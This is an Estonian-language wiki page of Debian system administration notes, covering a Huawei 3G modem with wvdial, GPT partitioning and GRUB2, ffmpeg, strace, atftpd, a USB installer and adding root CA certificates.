&lt;br /&gt;
===PulseAudio kasutamine===&lt;br /&gt;
&lt;br /&gt;
http://pulseaudio.org/&lt;br /&gt;
&lt;br /&gt;
===Huawei netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
2010 aastal on populaarne kasutada mobiilse internetiühenduse teenust Huawei USB netipulga abil. Sellist tüüpi netipulgad on sisuliselt GSM modemid, mis ühendatakse arvutiga USB kaudu ning mille kasutamiseks peab seadmesse olema paigaldatud mobiilside operaatori kehtiv SIM-kaart (Subscriber Identity Module). Selline netipulk ei ole kuidagi seotud wifiga ning seda saab kasutada asudes mobiilside operaatori levialas. Netipulga kasutamiseks peab olema arvutisse paigaldatud PPP kliendi tarkvara, nt wvdial ja arvuti oskama kasutada USB-serial seadmeid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/Modem/3G&lt;br /&gt;
&lt;br /&gt;
====Riistvara====&lt;br /&gt;
&lt;br /&gt;
Näiteks olgu kasutada Huawei E620 USB Modem seade ning teenusepakkuja EMT andmesideteenus.&lt;br /&gt;
&lt;br /&gt;
 # lsusb&lt;br /&gt;
 ...&lt;br /&gt;
 Bus 002 Device 003: ID 12d1:1001 Huawei Technologies Co., Ltd. E620 USB Modem&lt;br /&gt;
&lt;br /&gt;
====Tarkvara====&lt;br /&gt;
&lt;br /&gt;
Netipulga kasutamiseks piisab Debian Lenny paketihalduse tarkvarast, st vajalikest tuuma moodulitest ning wvdial programmist, mille paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wvdial&lt;br /&gt;
&lt;br /&gt;
====Seadistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida maha usb-storage, option ja usbserial tuuma moodulid&lt;br /&gt;
&lt;br /&gt;
 # rmmmod usb-storage&lt;br /&gt;
 # rmmod option&lt;br /&gt;
 # rmmod usbserial&lt;br /&gt;
&lt;br /&gt;
ning laadida usbserial sobivate parameetritega, vastavalt käesolevale lsusb väljundile, nt&lt;br /&gt;
&lt;br /&gt;
 # modprobe usbserial vendor=0x12d1 product=0x1001&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kasutada USB-serial seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -l /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Apr 27 23:46 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Apr 27 23:15 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Apr 27 23:15 /dev/ttyUSB2&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 3 Apr 27 23:15 /dev/ttyUSB3&lt;br /&gt;
&lt;br /&gt;
wvdial tarkvara tööd juhib seadistusfail /etc/wvdial.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf&lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = *99***1#&lt;br /&gt;
 Username = username&lt;br /&gt;
 Password = password&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
 Dial Command = ATDT&lt;br /&gt;
 &lt;br /&gt;
 [Dialer hsdpa]&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Init2 = ATZ&lt;br /&gt;
 Init3 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Phone - väärtus sõltub teenusepakkujast&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
 # wvdial hsdpa&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.60&lt;br /&gt;
 --&amp;gt; Cannot get information for serial port.&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99***1#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99***1#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Tue Apr 27 23:41:55 2010&lt;br /&gt;
 --&amp;gt; Pid of pppd: 7879&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; local  IP address 192.168.3.91&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; primary   DNS address 192.168.32.116&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; secondary DNS address 192.168.32.115&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib süsteemi juurde PPP seade, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:192.168.3.91  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:3 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:118 (118.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Netipulga kasutamine====&lt;br /&gt;
&lt;br /&gt;
Peale PPP lingi tekkimist piisab liiklus ruutida üle selle lingi ning saab kasutada võrku, nt&lt;br /&gt;
&lt;br /&gt;
 # route add -net 172.23.0.0 netmask 255.255.0.0 gw 192.168.3.91&lt;br /&gt;
&lt;br /&gt;
Lisaks nö sihipärasele mobiilsele töökohale andmeside tekitamisele on võimalikud nt sellised kasutusalad&lt;br /&gt;
&lt;br /&gt;
* ühendada võrku arvuteid, mida muul viisil võib olla tülikas ühendada&lt;br /&gt;
* ühendada arvutile külge alternatiivne andmesidekanal (nt monitooringuarvutist teadete saatmiseks)&lt;br /&gt;
&lt;br /&gt;
Kasutamisel tuleb arvestada, et läbi lisandunud seadme on võimalik lisaks välja pöördumisele ka sisse pöörduda, seepärast tasub kaaluda seoses netipulgaga paketifiltri kasutamist.&lt;br /&gt;
&lt;br /&gt;
===ffmpeg kasutamine===&lt;br /&gt;
&lt;br /&gt;
ffmpeg tarkvara abil saab ekraanil toimuvat nö videona salvestada&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -f x11grab -s 720x480 -r 23.976 -i :0.0 /tmp/file.mpg&lt;br /&gt;
&lt;br /&gt;
QuickTime andmete teisendamine&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i video-in.mov -vcodec mpeg4 video-out.avi&lt;br /&gt;
&lt;br /&gt;
QuickTime teisendamine Digital Video formaati&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i fail.mov -s pal -r pal -aspect 4:3 -ar 48000 -ac 2 fail.dv&lt;br /&gt;
&lt;br /&gt;
Taasesitamine nö ressursisäästlikult&lt;br /&gt;
&lt;br /&gt;
 $ mplayer -vo xv -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=1 video-out.avi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://viki.pingviin.org/MPlayer&lt;br /&gt;
* http://www.kinodv.org/&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Selleks, et vaikimisi ei seataks pakettidele DF (don't fragment), sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w net.ipv4.ip_no_pmtu_disc=1&lt;br /&gt;
&lt;br /&gt;
* arvuti viimaseid reboote näitab käsk&lt;br /&gt;
&lt;br /&gt;
 # last reboot -f /var/log/wtmp.1 &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Fri Aug  7 00:35 - 02:03 (38+01:27)  &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Wed Aug  5 00:14 - 00:35 (2+00:20)   &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:57 - 23:51  (00:53)    &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:56 - 22:57  (00:01)&lt;br /&gt;
&lt;br /&gt;
kus esimese rea teine kellaaeg on käesolev aeg (ja liigub), sulgudes on praktiliselt arvuti käesolev uptime; teiste ridade sulgudes on vastavad uptime ajad&lt;br /&gt;
&lt;br /&gt;
* Failide-alamkataloogide-jms arv kataloogis&lt;br /&gt;
&lt;br /&gt;
 # for i in `ls -d /*` ; do echo -n &amp;quot;$i: &amp;quot;; find $i | wc -l; done&lt;br /&gt;
&lt;br /&gt;
===PCMCIA seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pcmciautils&lt;br /&gt;
&lt;br /&gt;
===ExpressCard seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina paistavad ExpressCard http://en.wikipedia.org/wiki/ExpressCard seadmed operatsioonisüsteemile USB seadmetena.&lt;br /&gt;
&lt;br /&gt;
===syslog-ng kasutamine logiserverina===&lt;br /&gt;
&lt;br /&gt;
syslog-ng http://www.balabit.com/network-security/syslog-ng/ sobib kasutada logiserveris ja tal on sellised omadused&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Debian Lenny sisaldab syslog-ng versioon 2.0, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install syslog-ng&lt;br /&gt;
&lt;br /&gt;
Tarkvara tööd juhib seadistusfail /etc/syslog-ng/syslog-ng.conf&lt;br /&gt;
&lt;br /&gt;
===Failisüsteem===&lt;br /&gt;
&lt;br /&gt;
Debiani failisüsteemiga on seotud operatsioonisüsteemi seisukohalt sellised üldised asjaolud&lt;br /&gt;
&lt;br /&gt;
* /proc ja /sys kataloogid on nö vaated töötavale linuxi tuumale&lt;br /&gt;
&lt;br /&gt;
====Named ja unnamed pipe====&lt;br /&gt;
&lt;br /&gt;
Pipe on FIFO ja selle instrumendi abil saavad programmid omavahel andmeid vahetada, nt named pipe puhul sobib ühes aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ mkfifo /tmp/fifonimi&lt;br /&gt;
 $ cat &amp;lt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
ja teises aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ cal &amp;gt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
siis tulemusena esitatakse esimeses aknas cal käsu väljund.&lt;br /&gt;
&lt;br /&gt;
Osutub, et pipe ei ole alati vajalik moodustada mkfifo käsu abil, sobib ka nii, sellisel juhul on tegu anonüümse pipe'iga&lt;br /&gt;
&lt;br /&gt;
 $ cal | cat&lt;br /&gt;
&lt;br /&gt;
===Pidgin===&lt;br /&gt;
&lt;br /&gt;
Pidgin (nö vana nimega Gaim) http://www.pidgin.im/ on mitmeid protokolle toetav instant messaging tarkvara. Kuna Debiani paketihalduse Pidgin tõrgub vahel, siis üks otsekohene alternatiiv on kasutada lähtetekstist kompileeritud Pidgini&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn&lt;br /&gt;
 $ make&lt;br /&gt;
 $ make install&lt;br /&gt;
&lt;br /&gt;
Pidgin v. 2.10.0, tundub, et kui kasutada süsteemis mozilla.debian.net tarkvara, siis ebaõnnestub sõltuvuste tõttu&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
&lt;br /&gt;
Sellisel juhul tuleb käsitsi paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install intltool libglib2.0-dev libgtk2.0-dev&lt;br /&gt;
&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn --disable-nm --disable-screensaver \&lt;br /&gt;
   --disable-gtkspell --disable-gstreamer --disable-meanwhile --disable-avahi --disable-dbus --disable-tk&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===lm-sensors===&lt;br /&gt;
&lt;br /&gt;
lm-sensors http://www.lm-sensors.org/ tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install lm-sensors&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb teha kindlaks olemasolev riistvara ning laadida vastavad moodulid&lt;br /&gt;
&lt;br /&gt;
 # sensors-detect&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 # sensors -A | grep  Core&lt;br /&gt;
 Core 0:      +47.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 1:      +51.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 2:      +41.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 3:      +41.0 C  (high = +76.0 C, crit = +100.0 C)&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Core N - protsessori tuuma temperatuur&lt;br /&gt;
&lt;br /&gt;
===GPT kasutamine===&lt;br /&gt;
&lt;br /&gt;
GPT (GUID Partition Table) http://en.wikipedia.org/wiki/GUID_Partition_Table on seotud järgmiste probleemide lahendamisega&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemis soovitakse kasutada suuremat partitsiooni kui 2TB&lt;br /&gt;
* arvuti riistvara ei kasuta nn PC-BIOS'i vaid nt UEFI't (Unified Extensible Firmware Interface)&lt;br /&gt;
* kasutatakse 4096 B plokisuurusega kõvaketast&lt;br /&gt;
* saab kasutada kuni 128 nn primary partitsiooni&lt;br /&gt;
&lt;br /&gt;
====GPT partitsioonide haldamine====&lt;br /&gt;
&lt;br /&gt;
GPT partitsioonide haldamiseks sobib 2010 aasta suvel kasutada nt programme parted ja gdisk, esmalt tuleb moodustada plokkseadmele label öeldes&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sdc&lt;br /&gt;
 (parted) mklabel gpt&lt;br /&gt;
 Warning: The existing disk label on /dev/sdc will be destroyed and all data on this disk will be lost. Do you want to continue?&lt;br /&gt;
 Yes/No? Yes&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kui kasutada fdisk programmi GPT partitsioonitabelit kasutava plokkseadmega, siis paistab tulemus selline&lt;br /&gt;
&lt;br /&gt;
 # fdisk -uc /dev/sda -l&lt;br /&gt;
 WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted.&lt;br /&gt;
 ... &lt;br /&gt;
    Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;
 /dev/sda1               1    10485759     5242879+  ee  GPT&lt;br /&gt;
&lt;br /&gt;
====GRUB2 alglaaduri kasutamine GPT ja PC-BIOS riistvaraga====&lt;br /&gt;
&lt;br /&gt;
Kui UEFI riistavara töötab GRUB2 alglaaduri ja GPT partitsioneeritud kõvakettaga nö otseselt, siis PC-BIOS arvuti puhul tuleb kasutada seejuures mõnda täiendavat võtet. Üldiselt toimub PC-BIOS riistvaral töötava süsteemi alglaadimine selliselt&lt;br /&gt;
&lt;br /&gt;
* kõvakettale on moodustatud kolm GPT partitsiooni&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 &lt;br /&gt;
 Number  Start     End          Size         File system  Name      Flags&lt;br /&gt;
  1      2048s     4095s        2048s                     biosboot  bios_grub&lt;br /&gt;
  2      4096s     1052671s     1048576s                  boot&lt;br /&gt;
  3      1052672s  3905974271s  3904921600s               system&lt;br /&gt;
&lt;br /&gt;
* alglaadimisel loetakse üks alglaaduri aste esimeselt partitsioonilt&lt;br /&gt;
* järgmised astmed ning operatsioonisüsteemi tuum ja initramfs loetakse boot partitsioonilt&lt;br /&gt;
* operatsioonisüsteemi juurfailisüsteem asub kolmandal partitsioonil või sellel paiknevalt loogiliselt seadmelt, nt LVM köitelt&lt;br /&gt;
&lt;br /&gt;
=====GPT partitsioonide moodustamine=====&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mkpart biosboot 2048 4095&lt;br /&gt;
 (parted) set 1 bios_grub on                                               &lt;br /&gt;
 (parted) mkpart boot 4096 1052671                                         &lt;br /&gt;
 (parted) mkpart system 1052672 3907026943&lt;br /&gt;
 (parted) set 3 lvm on&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb jälgida, et partitsioonide suurused saavad sobivad, kaks esimest võiksid olla suhtliselt universaalselt sobivad&lt;br /&gt;
&lt;br /&gt;
=====Failisüsteemide ettevalmistamine=====&lt;br /&gt;
&lt;br /&gt;
GPT pealt töötava süsteemi saab ettevalmistada nt ühendades vastav plokkseade külge mõnele olemasolevale töötavale süsteemile. Seejärel moodustada seadmele GPT partitsioonitabel, failisüsteemid ning kopeerida sinna töötav süsteem üle, nt rsync abil.&lt;br /&gt;
&lt;br /&gt;
=====GRUB2 seadistamine ja paigaldamine=====&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistamiseks sobib kasutada nt sellist /etc/grub.d/40_custom faili&lt;br /&gt;
&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 echo &amp;quot;Debian GPT&amp;quot; &amp;gt;&amp;amp;2&lt;br /&gt;
 menuentry &amp;quot;Debian GPT&amp;quot; {&lt;br /&gt;
 insmod part_gpt&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,gpt2)&lt;br /&gt;
 linux /vmlinuz-2.6.32-2-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.26-2-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* insmod part_gpt - grub2 laadib omale GTP partitsioonitabeli tundmise tarkuse&lt;br /&gt;
* (hd0,gpt2) - näitab millisel GPT partitsioonil asub /boot failisüsteem&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et failisüsteemid on monteeritud öelda&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy --root-directory=/mnt/root /dev/sda&lt;br /&gt;
 Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
Tulemusena peaks arvuti käivituma.&lt;br /&gt;
&lt;br /&gt;
====4096 B plokisuurusega kõvaketaste kasutamine====&lt;br /&gt;
&lt;br /&gt;
2010 aasta suvel on 4k plokisuurusega kõvaketaste kasutamine pisut ebaselge, tundub, et üldiselt peaks utiliidid sellega automaatselt hiljem või varem hakkama saama. Hetkel näib ohutu nö käsitsi arvestada, et partitsiooni algus satuksid arvudega 8 ja 512 jaguvatele kohtadele, nt kasutades GPT partitsioonitabelit selliselt&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s                                                           &lt;br /&gt;
 (parted) mkpart system 2048 327679999&lt;br /&gt;
 (parted) mkpart pgdata 327680000 164863999&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* unit s - edasi esitatakse partitsiooni algus ja lõpp sektori numbrina&lt;br /&gt;
* system - partitsiooni nimi kasutajale tähendust omaval kujul&lt;br /&gt;
* 2048 - partitsiooni algussektor&lt;br /&gt;
* 327679999 - partitsiooni lõpp sektor, arvestusega, et 327679999 + 1 jagub arvudega 8 ja 512&lt;br /&gt;
&lt;br /&gt;
Paritsioonitüüpide näitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 (parted) set 1 lvm on&lt;br /&gt;
 (parted) set 2 lvm on&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 Model: ATA WDC WD2003FYYS-0 (scsi)&lt;br /&gt;
 Disk /dev/sdc: 3907029168s&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 &lt;br /&gt;
 Number  Start       End         Size        File system  Name  Flags&lt;br /&gt;
  1      2048s       327679999s  327677952s               system   lvm&lt;br /&gt;
  2      327680000s  328703999s  1024000s                 pgdata   lvm&lt;br /&gt;
&lt;br /&gt;
Kui selliselt ettevalmistatud plokkseadmel kasutada failisüsteemi või nt mdadm, lvm või cryptsetup lahendusi, siis väidetavalt neile sobib 4k plokisuuris hästi.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/&lt;br /&gt;
* http://www.johannes-bauer.com/linux/wdc/?menuid=3&lt;br /&gt;
* http://grub.enbug.org/BIOS_Boot_Partition&lt;br /&gt;
* http://wiki.archlinux.org/index.php/User:Skodabenz/GPT&lt;br /&gt;
* http://jamie.mayfirst.org/posts/2010/two-tb-disks/&lt;br /&gt;
* http://www.wensley.org.uk/gpt&lt;br /&gt;
&lt;br /&gt;
===atftpd kasutamine===&lt;br /&gt;
&lt;br /&gt;
atftpd on tftpd server ning atftp vastav klient.&lt;br /&gt;
&lt;br /&gt;
====Server====&lt;br /&gt;
&lt;br /&gt;
Serveri paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
Seejuures küsitakse hulk küsimusi, vaikimisi käivitatakse paigaldamise lõpuks tftp teenus inetd superserverist ning kataloogiks on /srv/tftp.&lt;br /&gt;
&lt;br /&gt;
Tööd juhitakse&lt;br /&gt;
&lt;br /&gt;
* /etc/default/atftpd failis&lt;br /&gt;
&lt;br /&gt;
 USE_INETD=true&lt;br /&gt;
&lt;br /&gt;
* /etc/inetd.conf failis sarnase reaga&lt;br /&gt;
&lt;br /&gt;
 tftp  dgram   udp4   wait   nobody /usr/sbin/tcpd /usr/sbin/in.tftpd --tftpd-timeout 300 \&lt;br /&gt;
   --retry-timeout 5 --no-multicast --maxthread 100 --verbose=5 --logfile /var/log/atftpd.log /srv/tftp&lt;br /&gt;
&lt;br /&gt;
====Klient====&lt;br /&gt;
&lt;br /&gt;
Kliendi paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftp&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ atftp 192.168.10.10&lt;br /&gt;
 tftp&amp;gt; get /srv/tftp/sg200-18-20131217-mirror.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena kopeeritakse fail kliendi käesolevasse kataloogi.&lt;br /&gt;
&lt;br /&gt;
===strace programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nö failisüsteemi tcpdump kasutamiseks sobib esmalt vaadata nt veebiseveri protsesside numbrid ja seejärel öelda&lt;br /&gt;
&lt;br /&gt;
 $ strace -p 19282 -p 19283 -p 19284 -p 19285 -p 19286 -p 19368 -p 20015 -p 29774 -p 29775 -f -e trace=open&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -f - järgib forkisid&lt;br /&gt;
* -e määratleb, et jälgitakse failiavamisi&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* kui kasutada mitu korda -e parameetrit, siis kehtestub ainult viimane kasutamine&lt;br /&gt;
* kui kasutada -e järel mitut väärtust, nt '-e trace=read,write', siis väärtused OR-itakse kokku&lt;br /&gt;
* kui on soov jälgida konkreetse file descriptori kasutusi, siis tuleb strace väljundi teksti töödelda grep vms üldiste vahenditega&lt;br /&gt;
* shelli protsessi on huvitav strace'ida teisest aknast&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://myhowto.org/solving-problems/7-exploring-system-internals-with-lsof-and-strace/&lt;br /&gt;
* http://www.noah.org/wiki/Debugging_notes&lt;br /&gt;
&lt;br /&gt;
===Debian Squeeze paigaldamine USB pulgalt===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze operatsiooniüsteemi USB pulgalt paigaldamise eeldusteks on&lt;br /&gt;
&lt;br /&gt;
* kasutada on olemasolev võrguühendusega Linux arvuti&lt;br /&gt;
* installeeritav arvuti boodib USB pulgalt&lt;br /&gt;
* installeeritava arvuti saab ühendada võrku&lt;br /&gt;
&lt;br /&gt;
USB pulk tuleb Debian Squeeze paigaldamiseks ettevalmistada järgmiselt&lt;br /&gt;
&lt;br /&gt;
* vastaku USB pulgale seade /dev/sdf, pulk peab olema monteerimata olekus, st öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* lähtudes aadressilt http://www.debian.org/devel/debian-installer/ kopeerida sobivad boot.img.gz ning netinst.iso failid, nt&lt;br /&gt;
&lt;br /&gt;
 # http://ftp.nl.debian.org/debian/dists/testing/main/installer-amd64/current/images/hd-media/boot.img.gz&lt;br /&gt;
 # http://cdimage.debian.org/cdimage/squeeze_di_rc1/amd64/iso-cd/debian-sq-di-rc1-amd64-netinst.iso&lt;br /&gt;
&lt;br /&gt;
* kopeerida boot.img.gz pulgale öeldes&lt;br /&gt;
&lt;br /&gt;
 # zcat boot.img.gz &amp;gt; /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* monteerida pulk ning kopeerida netinst iso&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf&lt;br /&gt;
 # mount /dev/sdf /mnt/sdf&lt;br /&gt;
 # cp debian-sq-di-rc1-amd64-netinst.iso /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
* ainult nn kommertsdraiveritega töötava riistvara kasutamiseks on vajalik lisaks kopeerida arhiiv firmware.tar.gz aadressilt http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/, nt&lt;br /&gt;
&lt;br /&gt;
 # wget http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/squeeze/current/firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
ning pakkida lahti pulga juurikale kataloogi firmware&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf/firmware&lt;br /&gt;
 # tar -C /mnt/sdf/firmware -z -x -f firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb pult lahti monteerida&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
Pulga kasutamiseks tuleb pult ühendada kõnealuse arvutiga, BIOS'ist seadistada käivituma USB pulgalt ning algab tarkvara paigaldus. Paigalduse käigus peaks olema kasutada internetiühendus.&lt;br /&gt;
&lt;br /&gt;
===SSL juur-sertifikaatide lisamine===&lt;br /&gt;
&lt;br /&gt;
Selleks, et süsteemi utiliidid, nt wget tunnustaksid veebiserveri sertifikaati peab olema vastav juur-sertifikaat ära kirjeldatud. Juur-sertifikaadi lisamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* paigaldada pakett ca-certificates&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ca-certificates&lt;br /&gt;
&lt;br /&gt;
* kopeerida uus juur-sertifikaat kataloogi /usr/local/share/ca-certificates (failinimi peab lõppema .crt vastasel korral update-ca-certificates skript seda ei käsitle)&lt;br /&gt;
&lt;br /&gt;
 # cp Juur-LOOMAAED-cacert.pem /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
&lt;br /&gt;
* öelda&lt;br /&gt;
&lt;br /&gt;
 # update-ca-certificates&lt;br /&gt;
&lt;br /&gt;
Tulemusena genereeritakse uued c_rehashid kataloogi /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
 # ls -l /etc/ssl/certs/ | grep Juur&lt;br /&gt;
 lrwxrwxrwx 1 root root     44 Feb  3 14:18 Juur-LOOMAAED.pem -&amp;gt; /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
